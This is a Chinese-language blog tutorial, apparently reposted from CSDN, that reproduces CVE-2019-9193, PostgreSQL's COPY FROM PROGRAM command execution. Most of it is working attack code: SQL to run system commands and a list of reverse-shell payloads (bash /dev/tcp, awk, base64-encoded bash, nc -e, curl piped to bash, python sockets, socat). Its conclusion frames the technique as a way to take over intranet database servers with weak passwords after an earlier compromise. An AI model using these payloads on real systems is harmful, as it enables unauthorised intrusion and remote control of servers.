PostgreSQL任意命令执行(CVE-2019-9193)

前言:

        PostgreSQL是一个功能强大的开源对象关系型数据库系统,他使用和扩展了SQL语言,并结合了许多安全存储和扩展最复杂数据工作负载的功能,并且相较于mysql其稳定性要更好。

        漏洞触发的原因是由于9.3增加一个“COPY TO/FROM PROGRAM”功能。这个功能就是允许数据库的超级用户以及pg_read_server_files组中的任何用户执行操作系统命令。

复现:

        我们使用kali即可,首先我们可以使用命令启动PostgreSQL:

                service postgresql start

         启动成功后使用命令链接启动的postgresql:

                psql -U postgres -h 127.0.0.1

        启动成功后就可以使用下面的命令进行复现,首先我们使用select version ();查看数据库版本是否> = 9.3

        当版本符合要求后,使用如下命令,命令主要功能为创建一个表,然后调用COPY TO/FROM PROGRAM功能来执行命令

CREATE TABLE run_shell(shell_output text);
COPY run_shell FROM PROGRAM 'id';
SELECT * FROM run_shell; 

        

         可以看到可以成功执行命令,然后我们尝试反弹一个shell。

COPY run_shell FROM PROGRAM 'bash -i >& /dev/tcp/127.0.0.1/1122 0>&1';

         这里我们使用的是kali系统,当我们使用下面的一句话反弹shell的时候会报错:

         这是因为kali默认是没开bash的网络重定向选项,我们可以使用如下方法开启,需要去下载bash源代码,然后修改configure然后make编译才可:

cd <bash source directory>
sudo su
./configure --enable-net-redirections
make
make install

        如果被攻击系统为ubuntu或者同样关闭了bash网络重定向的时候应该如何,这里可以使用awk,注意这里转义需要添加E:

COPY run_shell FROM PROGRAM E'awk \'BEGIN {s = "/inet/tcp/0/127.0.0.1/1122"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}\' /dev/null';

 当然可以转为后台服务,在命令后添加&,转为后台服务,防止被以外关闭。

或者使用如下反弹shell也可以:

COPY run_shell FROM PROGRAM  E'bash -c \'{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvMTEyMiAwPiYx}|{base64,-d}|{bash,-i}\'';

COPY run_shell FROM PROGRAM 'nc -e /bin/bash 127.0.0.1 1122';

COPY run_shell FROM PROGRAM 'curl 127.0.0.1/bash.html|bash';  -->>>bash.html里写(bash -i >& /dev/tcp/127.0.0.1/1122 0>&1)

COPY run_shell FROM PROGRAM E'python -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",1122));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);\'';

COPY run_shell FROM PROGRAM E'socat exec:\'bash -li\',pty,stderr,setsid,sigint,sane tcp:127.0.0.1:1122';

总结:

        该漏洞属于PostgreSQL添加的命令执行功能,但是需要我们能够登录到PostgreSQL系统,需要有账号密码才可以进行,这个漏洞在外网暴露面基本不太可能碰到,但是在我们拿下web服务器,或者通过病毒拿下内网机器后在对内网扫描后,如果发现PostgreSQL存在弱口令时可以利用该漏洞拿下服务器shell,如果权限较低则需要根据内核版本或配置缺陷进行提权。

猜你喜欢

转载自blog.csdn.net/GalaxySpaceX/article/details/131481530
今日推荐